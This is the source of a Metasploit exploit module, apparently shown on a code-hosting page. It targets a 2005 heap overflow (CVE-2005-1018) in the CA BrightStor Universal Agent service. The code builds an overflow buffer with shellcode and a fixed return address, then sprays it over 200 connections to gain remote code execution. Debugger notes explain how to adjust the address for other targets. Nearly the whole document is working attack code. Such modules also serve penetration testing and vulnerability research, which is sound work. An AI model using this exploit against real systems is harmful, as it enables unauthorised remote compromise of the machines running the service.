Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/universal_agent.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor Universal Agent Overflow',13'Description' => %q{14This module exploits a convoluted heap overflow in the CA15BrightStor Universal Agent service. Triple userland16exception results in heap growth and execution of17dereferenced function pointer at a specified address.18},19'Author' => [ 'hdm' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2005-1018'],24[ 'OSVDB', '15471' ],25[ 'BID', '13102'],26[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],27],28'Privileged' => true,29'Payload' =>30{31# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)32'Space' => 164,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => %w{ win },37'Targets' =>38[39[40'Magic Heap Target #1',41{42'Platform' => 'win',43'Ret' => 0x01625c44, # We grow to our own return address44},45],46],47'DisclosureDate' => '2005-04-11',48'DefaultTarget' => 0))4950register_options(51[52Opt::RPORT(6050)53])54end5556def exploit5758print_status("Trying target #{target.name}...")5960# The server reverses four bytes starting at offset 0xa5 :06162# Create the overflow string63boom = 'X' * 10246465# Required field to trigger the fault66boom[248, 2] = [1000].pack('V')6768# The shellcode, limited to 250 bytes (no nulls)69boom[256, payload.encoded.length] = payload.encoded7071# This should point to itself72boom[576, 4] = [target.ret].pack('V')7374# This points to the code below75boom[580, 4] = [target.ret + 8].pack('V')7677# We have 95 bytes, use it to hop back to shellcode78boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"7980# Stick the protocol header in front of our request81req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom8283# We keep making new connections and triggering the fault until84# the heap is grown to encompass our known return address. Once85# this address has been allocated and filled, each subsequent86# request will result in our shellcode being executed.87881.upto(200) {|i|89connect90print_status("Sending request #{i} of 200...") if (i % 10) == 091sock.put(req)92disconnect9394# Give the process time to recover from each exception95select(nil,nil,nil,0.1);96}9798handler99end100end101102103__END__104012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]105012a0d97 83c404 add esp,0x4106012a0d9a 85c9 test ecx,ecx107012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)108012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????109012a0da0 6a01 push 0x1110012a0da2 ff5204 call dword ptr [edx+0x4]111112Each request will result in another chunk being allocated, the exception113causes these chunks to never be freed. The large chunk size allows us to114predict the location of our buffer and grow our buffer to where we need it.115116If these addresses do not match up, run this exploit, then attach with WinDbg:117118> s 0 Lfffffff 0x44 0x5c 0x61 0x01119120Figure out the pattern, replace the return address, restart the service,121and run it through again. Only tested on WinXP SP1122123011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........124011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........125011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........126011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........127011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........12801205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........129[ snip ]13001605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13101615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13201625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13301635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13401645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13501655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13601665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13701675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13801685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13901695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........140016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........141016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........142016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........143016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14401725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........145017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........146147148